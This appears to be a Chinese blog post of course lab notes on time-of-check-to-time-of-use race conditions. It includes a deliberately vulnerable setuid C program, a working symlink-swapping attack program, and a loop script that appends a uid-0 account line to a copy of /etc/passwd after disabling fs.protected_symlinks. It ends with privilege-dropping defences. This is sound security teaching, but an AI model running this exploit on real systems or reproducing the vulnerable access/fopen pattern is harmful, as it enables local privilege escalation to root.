Race_Condition_Vulnerability

前言

來源:《Computer Security》A Hands-on Approach — Wenliang Du

我簡單做個筆記,詳細內容見書上。

所有的代碼/文檔見github:https://github.com/da1234cao/computer_security


摘要

理解競爭條件+演示競爭條件+對於競爭條件的防禦措施;



理解競爭條件

競爭條件

競爭條件,它旨在描述一個系統或者進程的輸出依賴於不受控制的事件出現順序或者出現時機。

舉例來說,如果計算機中的兩個進程同時試圖修改一個共享內存的內容,在沒有併發控制的情況下,最後的結果依賴於兩個進程的執行順序與時機。而且如果發生了併發訪問衝突,則最後的結果是不正確的。

舉例

操作系統的相關書籍,可能都有競爭條件的的例子。我這裏簡單贅述下。

  • 小A和小B,住在一起,他們有個櫃子,櫃子裏有10 RMB;
  • 小A,在睡前,看一眼櫃子。他決定明天早上拿7(7<10)塊錢,去喫早飯。
  • 小B,在睡前,看一眼櫃子。他也決定明天早上拿7(7<10)塊錢,去喫早飯。
  • 小A,早睡早起,拿着7塊錢,去開心的喫早飯。
  • 小B,晚睡晚起,正當他要去那7塊錢的時候,發現不夠(7>10-7)。
  • 小B是個僞裝成人類的機器人,他的程序不對,卡在這裏,俗稱卡機。。

抽象

將上面取錢部分抽取出來,如下所示:

function withdraw(amount)
{
    balance = getBalance()
    if(amount <= balance){                       --------》A1,B1
        balance = balance - amount &&
        saveBalance(balance);                    --------》A2,B2
        //echo "You have withdrawn: amount RMB";   
    }else{
        echo " Insufficient funds ."             --------》A3,B3
    }
}

當兩個進程,運行這個程序的時候,由於執行的時間和順序不同,會有不同的結果。

簡化起見:

(1) A程序中的三個可能步驟是A1, A2, A3; B程序中的三個可能步驟是B1, B2, B3; (對應步驟均表已執行)

(2)銀行的錢,僅僅夠其中的某一個程序取出一次。

交叉執行順序 結果
A1 A2 B1 B3 正確
B1 B2 A1 A3 正確
A1 B1 A2 B2 錯誤

當交叉執行順序爲A1 B1 A2 B2,程序的執行出現問題。


提煉

Time-of-check Time-of-use 這是一種軟件中的競爭條件;它發生在先檢查條件,再使用資源。有時候,條件改變,發生在檢查和使用之間。由這種問題導致的安全漏洞被稱爲 Time-of-check to Time-of-use(TOCTTOU) race condition vulnerability(競爭條件漏洞)。



演示競爭條件漏洞

概念就那回事,我們來看看如何操作。

背景

實驗環境:ubuntu18.04,gcc version 7.5.0, 關閉保護措施fs.protected_symlinks

目的:普通的用戶,使用已有的特權程序,利用競爭條件漏洞,在/etc/passwd.bak 中寫入一行內容。

注:

  • 不關閉保護措施fs.protected_symlinks ,搞不定。關於fs.protected_symlinks 介紹見後文“關閉防護”。
  • /etc/passwd.bak的文件權限爲 [-rw-r–r-- root root]
  • 背景知識要求:進一步理解特權程序

設計與實現

(1)特權程序將在全局可寫的/tmp目錄中,對文件/tmp/XYZ進行寫入操作。

(2)由/tmp粘滯位的要求,XYZ文件和執行特權程序爲同一個普通用戶。

(3)XYZ文件作爲普通程序被檢查後,在對其寫入之前,將其轉變成軟連接文件,指向/etc/passwd.bak。

(4)爲了不破壞passwd文件,我們對其進行復制,兩者文件權限相同。

在這裏插入圖片描述

描述的有點💩 ,不明白的,可以讀下面的程序。(圖片網上找的,有點糊)


特權程序

特權程序:需要打開/tmp目錄中的文件,並寫入內容。

參考文章:fopen與open的區別C語言access()函數

/**
 * 具有競爭條件問題的程序,vulp.c
 * cd /tmp; touch XYZ
 * gcc -o vulp vulp.c
 * sudo chown root vulp
 * sudo chown 4755 vulp
*/

#include <stdio.h>
#include <unistd.h>

int main(void){
    FILE *tmp = NULL;
    char *fn = "/tmp/XYZ";
    char buffer[60]={0};

    scanf("%50s",buffer);

    if(!access(fn,W_OK)){ /*根據ruid,判斷是否有寫入權限*/
        tmp = fopen(fn,"r+"); /*根據euid,打開文件,不要用a+*/
        fwrite("\n",sizeof(char),1,tmp);
        fwrite(buffer,sizeof(char),sizeof(buffer),tmp);
        fclose(tmp);
        printf("...............insert data..........");
        // getchar();
    }
    else{
        printf("no permission\n");
    }
    
    return 0;
}

小白兔已就緒。


攻擊程序

攻擊程序:改變XYZ文件,使其成爲軟連接文件,指向/etc/passwd.bak

/**
 * 不斷刪除和創建指向passwd文件的軟連接文件,attack.c
 * cd /tmp; touch tmp.txt
 * cd /etc; cp -a passwwd passwd.bak
 * gcc -o attack attack.c
*/

#include <stdio.h>
#include <unistd.h>

int main(void){
    int sleep_time = 1000;

    while (1){
        unlink("/tmp/XYZ");
        symlink("/tmp/tmp.txt","/tmp/XYZ");/*指向一個“普通”文件,跳過access*/
        usleep(sleep_time); 

        unlink("/tmp/XYZ");
        symlink("/etc/passwd.bak","/tmp/XYZ");/*指向passwd*/
        usleep(sleep_time); 
    }
    
    return 0;
}

大灰狼已就緒。


關閉防護

# fs.protected_symlinks介紹見附錄
sudo sysctl -w fs.protected_symlinks=0

參考文章:sysctl命令 + protected_symlinks參數 + 內核參數說明

原文:

protected_symlinks

A long-standing class of security issues is the symlink-based time-of-check-time-of-use race, most commonly seen in world-writable directories like /tmp. The common method of exploitation of this flaw is to cross privilege boundaries when following a given symlink (i.e. a root process follows a symlink belonging to another user). For a likely incomplete list of hundreds of examples across the years, please see: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp

When set to “0”, symlink following behavior is unrestricted.

When set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.

This protection is based on the restrictions in Openwall and grsecurity.

譯文:

一類長期存在的安全性問題是基於符號鏈接的Time-of-check to Time-of-use race,最常見於/ tmp這樣的全局可寫目錄。 利用此漏洞的常用方法是,使用特權程序跟隨符號鏈接(即,root process 跟隨屬於另一個用戶的符號鏈接)。 有關多年來可能不完整的數百個示例列表,請參閱:http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp

當被設置成0的時候,符號鏈接的跟隨行爲不被限制。

當被設置成1的時候,符號鏈接被允許更隨的條件:僅當符號鏈接在全局可寫的具有滯位的目錄之外,或者符號鏈接的uid與追隨者匹配,或者目錄所有者與符號鏈接的所有者匹配時,

明白否?我當時看了好幾眼都沒明白。我解釋下。

(1)符號鏈接的跟隨行爲?

符號鏈接文件,指向另一個文件。當我們cat XYZ的時候,查看的是被執行的文件。

在這裏插入圖片描述

(2)當參數被設置成1的時候?

簡單舉個栗子:

  • 符號鏈接在全局可寫的具有滯位的目錄之內。
  • 符號鏈接的uid爲普通用戶(dacao);追隨者的uid,即使用這個鏈接的程序的uid爲root;不匹配。
  • 目錄爲/tmp,其所有者是root;符號鏈接的所有者爲普通用戶(dacao);不匹配;
  • 所以,即使是root,這裏也沒法通過跟隨軟連接查看/etc/passwd文件。
    在這裏插入圖片描述

(3)關於fs.protected_symlinks比較詳細實踐

我沒有嘗試。書上實踐了部分,我截個圖過來,偷偷懶。

在這裏插入圖片描述
在這裏插入圖片描述

拆掉小白兔的防護堡壘。


不斷進行攻擊

不斷嘗試攻擊,直到成功。

echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" >> passwd_input.txt
#!/bin/bash

CHECK_FILE="ls -alh /etc/passwd.bak"

old=`$CHECK_FILE`
new=`$CHECK_FILE`

# echo $CHECK_FILE
# echo $old
# echo $new

while [ "$old" == "$new" ]; do
    ./vulp < passwd_input.txt
    new=`$CHECK_FILE`
done

echo "passwd.bak has changed. stop..."

大灰狼不斷嘗試喫掉小白兔。



結果

實驗結果很好。

普通用戶,使用特權程序,利用競爭條件漏洞,在/etc/passwd.bak中,寫入一行信息。

在這裏插入圖片描述大灰狼:真香!


防護措施

一個角度

首先,我們從競爭漏洞的角度來思考該如何避免這樣的漏洞。

這個競爭漏洞出現的原因是,檢查和使用相互分離。

  • 避免出現漏洞:鎖,原子操作,在這裏來一下? 不太好處理。除非有個函數,可以將access和fopen的功能合併。
  • fs.protected_symlinks;這個在上面介紹過了,不再敘述。

另一個角度

首先,我們從權限的角度來思考該如何避免這樣的漏洞。

這個漏洞出現的原因是,給特權程序的權限過大。

在特權程序的執行過程中,相當於euid爲root來對普通文件進行寫操作,權限給多了。

所以,我們在執行特權程序的過程中,僅僅給需要特區程序的部分以特權。

/**
 * 具有競爭條件問題的程序,not_vulp.c
 * cd /tmp; touch XYZ
 * gcc -o not_vulp not_vulp.c
 * sudo chown root not_vulp
 * sudo chown 4755 not_vulp
*/

#include <stdio.h>
#include <unistd.h>

int main(void){
    FILE *tmp = NULL;
    char *fn = "/tmp/XYZ";
    char buffer[60]={0};

    printf("printf priviliged euid %u\n",geteuid());

    scanf("%50s",buffer);

    seteuid(getuid()); //關閉特權
    printf("printf priviliged euid %u\n",geteuid());

    tmp = fopen(fn,"r+"); /*根據euid,打開文件,不要用a+*/
    fwrite("\n",sizeof(char),1,tmp);
    fwrite(buffer,sizeof(char),sizeof(buffer),tmp);
    fclose(tmp);
    printf("...............insert data..........\n");
    // getchar();
    
    seteuid(0);  //恢復特權

    printf("printf priviliged euid %u\n",geteuid());
    
    return 0;
}


附錄

一個參數選項曾導致的實驗演示失敗

書上的程序是這麼寫的,我們看看它有什麼潛在的問題。

參考文章:文件(目錄)rwx權限的意義 + SBIT

/**
 * 具有競爭條件問題的程序,vulp.c
 * cd /tmp; touch XYZ
 * gcc -o vulp vulp.c
 * sudo chown root vulp
 * sudo chown 4755 vulp
*/

#include <stdio.h>
#include <unistd.h>

int main(void){
    FILE *tmp = NULL;
    char *fn = "/tmp/XYZ";
    char buffer[60]={0};

    scanf("%50s",buffer);

    if(!access(fn,W_OK)){ /*根據ruid,判斷是否有寫入權限*/
        tmp = fopen(fn,"a+"); /*根據euid,打開文件,不要用a+*/    <-----這裏不同------>
        fwrite("\n",sizeof(char),1,tmp);
        fwrite(buffer,sizeof(char),sizeof(buffer),tmp);
        fclose(tmp);
        printf("...............insert data..........");
        // getchar();
    }
    else{
        printf("no permission\n");
    }
    
    return 0;
}

下面分析,用這個程序執行,可能會失敗的原因。

  • attack.c程序執行的過程中,/tmp/XYZ文件,有不存在的片刻。
  • 上面特權程序vulp.c程序執行access函數時候,XYZ文件存在;執行fopen函數XYZ不存在的時候,會自行創建XYZ文件。fopen創建出來XYZ文件權限爲[(root,dacao,other)-rw-rw-r–] 。見下方。
  • XYZ文件的所有着爲root用戶。
  • 由於XYZ文件在/tmp目錄。要刪除和重命名這個文件,受粘滯位的影響,無法刪除。
  • 所以使用fopen(fn,“r+”),就解決這個問題了。當沒有這個文件的時候,不進行創建。
/**
 * 程序名:tmp.c
 * 目的:嘗試,使用fopen創建的文件默認權限;僅嘗試,不追究;
 * 
 * dacao# gcc -g -o tmp tmp.c
 * 普通用戶創建:(dacao,dacao,other)rw-rw-r
 * 
 * root# gcc -g -o tmp tmp.c
 * 和root用戶創建:(root,root,other)rw-r--r--
 * 
 * dacao# gcc -g -o tmp tmp.c
 * dacao# sudo chown root tmp
 * dacao# sudo chmod 4755 tmp
 * 普通用戶運行特權程序創建:(root,dacao,other)-rw-rw-r--
*/

#include <stdio.h>
#include <unistd.h>

int main(void){
    /*如果沒有該文件,則創建*/
    FILE *tmp = fopen("tmp.txt","w");
    fclose(tmp);
    return 0;
}

奇怪的想法

我沒有去解決求證。

➜  ~ ls -ald /tmp           
drwxrwxrwt 29 root root 20480 6月  23 18:25 /tmp
  • /tmp目錄下的文件,由於粘滯位,使得只有root和文件對應的用戶,才能刪除,重命名該文件
  • 從文件的角度來看,目錄也是文件。
  • 所有的用戶對/tmp目錄文件,都有寫操作權限;所以都可以在tmp中創建/刪除文件。
  • 所以粘滯位,這樣rwxrwxrtx,是不是才合理?🐶


參考文章彙總

競爭條件

進一步理解特權程序

fopen與open的區別 + C語言access()函數

sysctl命令 + protected_symlinks參數 + 內核參數說明

文件(目錄)rwx權限的意義 + SBIT

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章